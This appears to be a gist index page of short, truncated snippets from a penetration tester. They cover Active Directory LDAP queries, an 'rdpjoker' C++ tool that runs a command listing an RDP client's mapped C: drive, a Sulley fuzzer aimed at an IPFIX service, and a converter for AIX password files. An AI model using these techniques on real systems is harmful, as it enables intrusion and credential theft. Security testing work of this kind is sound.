This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'typhoeus' | |
e=Typhoeus::Easy.new | |
e.url="http://konrads.smelkovs.com/ip/" | |
e.proxy = :server => "1.2.3.4:80" | |
e.proxy_auth=:username => "user", :password => 'password' | |
e.perform |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$dEntry = New-Object DirectoryServices.DirectoryEntry("LDAP://xyz.com/cn=sites,cn=configuration,dc=xyz,dc=com","user1","Pass1"); | |
$searcher=New-Object DirectoryServices.DirectorySearcher($dEntry); | |
$searcher.Filter="(objectClass=siteLink)"; | |
$searcher.PropertiesToLoad.Add("siteList"); | |
$searcher.PropertiesToLoad.Add("cost"); | |
$searcher.PropertiesToLoad.Add("replInterval"); | |
$searcher.PropertiesToLoad.Add("cn"); | |
$searcher.FindAll() |%{ | |
$count=$_.Properties.sitelist.Count; | |
$p=@{"cn"=[string]$_.Properties.cn; "sites"=$count;}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
searchFilter="(&(objectClass=group)(distinguishedName=%s))" % (groupName) | |
res=self.search(searchFilter,["objectSid"]) | |
rawsid=res[0]['objectSid'] | |
objectSid=win32security.ConvertSidToStringSid(pywintypes.SID(rawsid)) | |
primaryGroupID=objectSid.split("-")[-1] | |
logging.log(logging.DEBUG,"objectSid: %s, RID: %s" % (objectSid,primaryGroupID)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// rdpjoker.cpp : Defines the entry point for the console application. | |
// | |
#include "stdafx.h" | |
#define SERVER "XXX.compute-1.amazonaws.com" | |
#define CMD "cmd.exe /C dir \\tsclient\\c >output.txt" | |
int main(int argc, char **argv){ | |
HANDLE server; | |
PWTS_SESSION_INFOA ppSessionInfo=NULL; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
proxy_handler = ProxyHandler() | |
opener = build_opener(proxy_handler) | |
MAX_REQS=50 | |
ENDPOINT="https://api.datamarket.azure.com/Bing/Search/Web?" | |
KEY='XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' | |
class Bing(object): | |
def __init__(self,key): | |
self.key=key | |
def query(self,query,maxreq=MAX_REQS,skip=0): | |
url=ENDPOINT+urlencode({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Copyright Konrads Smelkovs <[email protected]>, KPMG LLP | |
# 2013 All rights reserved | |
require 'win32ole' | |
require 'csv' | |
require 'date' | |
require 'trollop' | |
#$outlook = WIN32OLE.new('Outlook.Application') | |
$VERBOSE=false | |
def getFolderByName(path) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from sulley import * | |
from requests import ipfix | |
sess = sessions.session(session_filename='audits/ipfix.session',proto="udp",log_level=1,sleep_time=0.1) | |
target = sessions.target('1.2.3.4',2055) | |
target.netmon = pedrpc.client('127.0.0.1',26001) | |
sess.add_target(target) | |
# sess.connect(s_get("flowheader")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl -wn | |
@a=split /[^\d.]/; | |
foreach (@a){ | |
print "$1\n" if m!^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$!; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl -w | |
#/ | |
# This software is Copyright (c) 2013 Konrads Smelkovs <[email protected]>, | |
# and it is hereby released to the general public under the following terms: | |
# Redistribution and use in source and binary forms, with or without | |
# modification, are permitted. | |
# | |
# This script converts AIX /etc/security/passw | |
# cat /etc/security/passwd | |
# root: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
6.7.8.9 | |
2.2.2.2 |
OlderNewer